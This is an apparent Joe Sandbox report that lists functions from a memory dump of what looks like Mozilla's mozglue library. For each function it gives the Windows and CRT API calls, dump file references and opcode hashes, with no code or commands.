String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 008bc24bc8bebc322d17d8422ffbed315e7bd6ec3330ea8bb20d7ee7bae2d58e
Instruction ID: a233e841f5fc9b49f1760116f551b0bb62cc48b399c4ca6c375d9618acc5ed90
Opcode Fuzzy Hash: 008bc24bc8bebc322d17d8422ffbed315e7bd6ec3330ea8bb20d7ee7bae2d58e
Instruction Fuzzy Hash: 13E092B0601305ABDF006BE7B898719BAB8F75A399F008155EA05D1611EBB1E4029F1E

Function 6C68BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C68BE49), ref: 6C68BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C68BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C68BE49), ref: 6C68BF38
RtlReAllocateHeap.NTDLL ref: 6C68BF83
RtlFreeHeap.NTDLL(6C68BE49,00000000), ref: 6C68BFA6

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 58249970a875316e30175efa5f6c374c966adf78a48d2e4b07374db5e3b3f864
Instruction ID: 87459e01ba6e3a0a9572c32d06eb3c87ebd4706be19b265af5872403977582b1
Opcode Fuzzy Hash: 58249970a875316e30175efa5f6c374c966adf78a48d2e4b07374db5e3b3f864
Instruction Fuzzy Hash: FF51A171A012058FE710CF69CD80BAAB7A2FFC5314F294639D516A7B95D730F906CBA8

Function 6C678E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C66B58D,?,?,?,?,?,?,?,6C69D734,?,?,?,6C69D734), ref: 6C678E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C66B58D,?,?,?,?,?,?,?,6C69D734,?,?,?,6C69D734), ref: 6C678EBF
free.MOZGLUE(?,?,?,?,6C66B58D,?,?,?,?,?,?,?,6C69D734,?,?,?), ref: 6C678F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C66B58D,?,?,?,?,?,?,?,6C69D734,?,?,?,6C69D734), ref: 6C678F46
free.MOZGLUE(?,?,?,?,6C66B58D,?,?,?,?,?,?,?,6C69D734,?,?,?), ref: 6C678F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C66B58D,?,?,?,?,?,?,?,6C69D734,?,?,?), ref: 6C678F8F

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7a4a63af7ad09228730fddec0c62902fd5619d3bc3e42a1118b1ff35beb8f1e4
Instruction ID: 0cc094095fe4e3c2c8c2d71458ae5ec3c3ca19361c47625d81498c31e5acc55f
Opcode Fuzzy Hash: 7a4a63af7ad09228730fddec0c62902fd5619d3bc3e42a1118b1ff35beb8f1e4
Instruction Fuzzy Hash: 9D51C3B1A012158FEB20CF64D88076E73B2BF49358F15482AD516BB750E735FD05CBAA

Function 6C6727E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C672620,?,?,?,6C6660AA,6C665FCB,6C6679A3), ref: 6C67284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C672620,?,?,?,6C6660AA,6C665FCB,6C6679A3), ref: 6C67289A
free.MOZGLUE(?,?,?,6C672620,?,?,?,6C6660AA,6C665FCB,6C6679A3), ref: 6C6728F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C672620,?,?,?,6C6660AA,6C665FCB,6C6679A3), ref: 6C672910
free.MOZGLUE(00000001,?,?,6C672620,?,?,?,6C6660AA,6C665FCB,6C6679A3), ref: 6C67293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C672620,?,?,?,6C6660AA,6C665FCB,6C6679A3), ref: 6C67294E

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5623307ef89b2c55ef3e0ae40ac766064be27a25fd1e5dcd0dfb21bea6083bae
Instruction ID: fcddd64c31726c29971da5a0e1f03206c80cf3e336b7e2ee8cc717a4bd125619
Opcode Fuzzy Hash: 5623307ef89b2c55ef3e0ae40ac766064be27a25fd1e5dcd0dfb21bea6083bae
Instruction Fuzzy Hash: D44191B1A00206CFEB24CF69D88476A77F6EB45308F194939D556EB740E732E904CBA9

Function 6C62CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6AE784), ref: 6C62CFF6
LeaveCriticalSection.KERNEL32(6C6AE784), ref: 6C62D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C62D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C62D139

Strings

MOZ_CRASH(), xrefs: 6C62D187

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: bb4261c32db69205d21a911601ac2f244f65c06a53c21ccd9fbb49015850a74f
Instruction ID: 735ee610e2ad2398eebb592fb1c57e545ea9312454b832e47e94c7d7e1d1fab0
Opcode Fuzzy Hash: bb4261c32db69205d21a911601ac2f244f65c06a53c21ccd9fbb49015850a74f
Instruction Fuzzy Hash: 9841BC32B402164FDB048EAE9CD47AE76B0EF49754F240239E918E7B84D6A5EC11CBC9

Function 6C624DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C624E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C624E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C624EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C624F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C624F1E

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 77a0a06dc5ab9136be8d6b360271e86f1e2cce4310e4be4bec2bc02d314193f1
Instruction ID: 592011cc316dd0d20568512a50d6c907756432a0577f0145a7542b39e4972e59
Opcode Fuzzy Hash: 77a0a06dc5ab9136be8d6b360271e86f1e2cce4310e4be4bec2bc02d314193f1
Instruction Fuzzy Hash: A641D0716047019FC711CF29C8809ABB7E4BFCA354F108A1DF9A687641DBB4E915CF95

Function 6C68A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6AF770), ref: 6C68A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C68A87B

Part of subcall function 6C68A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C68A88F,00000000), ref: 6C68A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C68A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C68A90C
LeaveCriticalSection.KERNEL32(6C6AF770), ref: 6C68A97E

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: d8ae025f11ec8c01a6a82f5842ebf3aa086cba6a6480f22e170c890f4e1478e2
Instruction ID: 3c6449bc1d0a3788290cd4aefc2c0ca72f6d38794b279859c7cf973b13bfee8e
Opcode Fuzzy Hash: d8ae025f11ec8c01a6a82f5842ebf3aa086cba6a6480f22e170c890f4e1478e2
Instruction Fuzzy Hash: 314181B09012089BDB00DFE4D885BDDB771FF05324F108619E816AB7D1D735E945CBA9

Function 6C631530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C63152B,?,?,?,?,6C631248,?), ref: 6C63159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C63152B,?,?,?,?,6C631248,?), ref: 6C6315BC
moz_xmalloc.MOZGLUE(-00000001,?,6C63152B,?,?,?,?,6C631248,?), ref: 6C6315E7
free.MOZGLUE(?,?,?,?,?,?,6C63152B,?,?,?,?,6C631248,?), ref: 6C631606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C63152B,?,?,?,?,6C631248,?), ref: 6C631637

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 9c081c9e3aa6f509d59a104d2fc22bbc207ba95cf180fe8c98d59c577fc62c2d
Instruction ID: 40513d119aa395be1d6a318d2bb4cd26df1fb95f00b6ceb51341c32eeb954ac4
Opcode Fuzzy Hash: 9c081c9e3aa6f509d59a104d2fc22bbc207ba95cf180fe8c98d59c577fc62c2d
Instruction Fuzzy Hash: F831ECB1A001249BC7148F78D8504AE77A5BB863747242B2DE427D7BD4EB30D90587A9

Function 6C68AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C69E330,?,6C64C059), ref: 6C68AD9D

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C69E330,?,6C64C059), ref: 6C68ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C69E330,?,6C64C059), ref: 6C68AE01
GetLastError.KERNEL32(?,00000000,?,?,6C69E330,?,6C64C059), ref: 6C68AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C69E330,?,6C64C059), ref: 6C68AE3D

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 4ec8629e08d61a70e218c64890c2fb00ca5c745ec8c13d94e4c24a2475788066
Instruction ID: dc1112adbde7fefc331a20e0b9cb17e0650344e2c9aa8393a30aae39634a1898
Opcode Fuzzy Hash: 4ec8629e08d61a70e218c64890c2fb00ca5c745ec8c13d94e4c24a2475788066
Instruction Fuzzy Hash: 433173B19012159FDB10DF758C44AABB7F8EF45610F158829E84AD7740E734A805CBB8

Function 6C685EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C69DCA0,?,?,?,6C65E8B5,00000000), ref: 6C685F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C65E8B5,00000000), ref: 6C685F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C65E8B5,00000000), ref: 6C685F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C65E8B5,00000000), ref: 6C685F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C65E8B5,00000000), ref: 6C685FD6

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 9ae0886b027d1ba35efdfa08aa689f467298e2c87a5a9ccbc0b33826d4eeccdb
Instruction ID: e24799a5391d4f9c21a5f8c2b2b0b5bd3c1d3d7ea1f41461963887afb88a14b5
Opcode Fuzzy Hash: 9ae0886b027d1ba35efdfa08aa689f467298e2c87a5a9ccbc0b33826d4eeccdb
Instruction Fuzzy Hash: 463107343016048FE710DF2AC8D8A6ABBF9BF89319F648558E5568BB95C731EC41CF94

Function 6C62B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C62B532
moz_xmalloc.MOZGLUE(?), ref: 6C62B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C62B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C62B57E
free.MOZGLUE(00000000), ref: 6C62B58F

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ac541edafe5af7fbf1de1bc15317b7de8cd04529428e83927ee9be9f481a8fd5
Instruction ID: ef803b2808cfaae351b2c0406999e27b3045e5f8726a3025f811ea4a9cdf945e
Opcode Fuzzy Hash: ac541edafe5af7fbf1de1bc15317b7de8cd04529428e83927ee9be9f481a8fd5
Instruction Fuzzy Hash: F721FC716002059BDB00CF69CC80BAEBBB9FF86314F244129E919EB341E776D951CBA5

Function 6C62B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C62B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C62B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C62B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C62B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62B849

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 117470cd4dbf685f022ab5bff00490056dfea3fa2ed5f4b99aea9c051c477255
Instruction ID: 5a249da916c6676bab1ed6a21f3057ea7ceb0560c8d7a77cf16ba68c0b809a44
Opcode Fuzzy Hash: 117470cd4dbf685f022ab5bff00490056dfea3fa2ed5f4b99aea9c051c477255
Instruction Fuzzy Hash: ED212BB0E002099FDF04DFA9D8855FEBBB4EF89314F148129ED4AA7341E735A944CBA5

Function 6C686E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C686E78

Part of subcall function 6C686A10: InitializeCriticalSection.KERNEL32(6C6AF618), ref: 6C686A68
Part of subcall function 6C686A10: GetCurrentProcess.KERNEL32 ref: 6C686A7D
Part of subcall function 6C686A10: GetCurrentProcess.KERNEL32 ref: 6C686AA1
Part of subcall function 6C686A10: EnterCriticalSection.KERNEL32(6C6AF618), ref: 6C686AAE
Part of subcall function 6C686A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C686AE1
Part of subcall function 6C686A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C686B15
Part of subcall function 6C686A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C686B65
Part of subcall function 6C686A10: LeaveCriticalSection.KERNEL32(6C6AF618,?,?), ref: 6C686B83

MozFormatCodeAddress.MOZGLUE ref: 6C686EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C686EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C686EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C686EFF

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 60140cfde0617cf3963b90121d6bed6482a09e02883cee4b2967ce7b7eaf7bee
Instruction ID: 9063335754fd2cb2ba3b01febd1eab7ac922cb198af6343439956c5b57efa4c6
Opcode Fuzzy Hash: 60140cfde0617cf3963b90121d6bed6482a09e02883cee4b2967ce7b7eaf7bee
Instruction Fuzzy Hash: F921A471A042199FDB00CF69E8C569E77F5FF89308F044039E80997341DB749A59CFA6

Function 6C660D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C623DEF), ref: 6C660D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C623DEF), ref: 6C660D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C623DEF), ref: 6C660DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C660D97, 6C660DBE
<jemalloc>, xrefs: 6C660D92, 6C660DB9

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: da28da074efe185a0f1f7d7957b4c498e07ea7ea857a853ea14be4452f65f22b
Instruction ID: 67793d16b333b611f0ab83acfc7e02d6bc9c22f2fc701ff5e6400e0b1f95913b
Opcode Fuzzy Hash: da28da074efe185a0f1f7d7957b4c498e07ea7ea857a853ea14be4452f65f22b
Instruction Fuzzy Hash: 3EF0893138029863E62416A79C0AB6A369D67C2B65F344136F214DADC0DA90FC058AAF

Function 6C685850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C68586C
CloseHandle.KERNEL32 ref: 6C685878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C685898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6858C9
free.MOZGLUE(00000000), ref: 6C6858D3

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: efbf2ebb6bc138797426c16c083c1e1d821862b4331af9846e2234d153ec58f9
Instruction ID: 2f07fdc58c6029a4b81c4d0b1e0db4f1dfd68a637c808f3071b0a2d370e25a35
Opcode Fuzzy Hash: efbf2ebb6bc138797426c16c083c1e1d821862b4331af9846e2234d153ec58f9
Instruction Fuzzy Hash: 7A011A717051119BDB00DF97F888A0A7BB8ABA3329F644126E41AC2210E732A8158F9F

Function 6C677620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6775C4,?), ref: 6C67762B

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6774D7,6C6815FC,?,?,?), ref: 6C677644
GetCurrentThreadId.KERNEL32 ref: 6C67765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6774D7,6C6815FC,?,?,?), ref: 6C677663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6774D7,6C6815FC,?,?,?), ref: 6C677677

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 4e18c4ed0d5d4415e958c76cd060c4669c6da428a18d62b9e11f453f9906a9ca
Instruction ID: c7e1b681e56c4c2a14c47e30286532bc1490661a8e9a45626024f48c8d87aabb
Opcode Fuzzy Hash: 4e18c4ed0d5d4415e958c76cd060c4669c6da428a18d62b9e11f453f9906a9ca
Instruction Fuzzy Hash: A6F0FF71E10349ABD3008F62D88867AB778FFEB299F11531AF90442601E7B0B5D18BD0

Function 6C681700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C681800

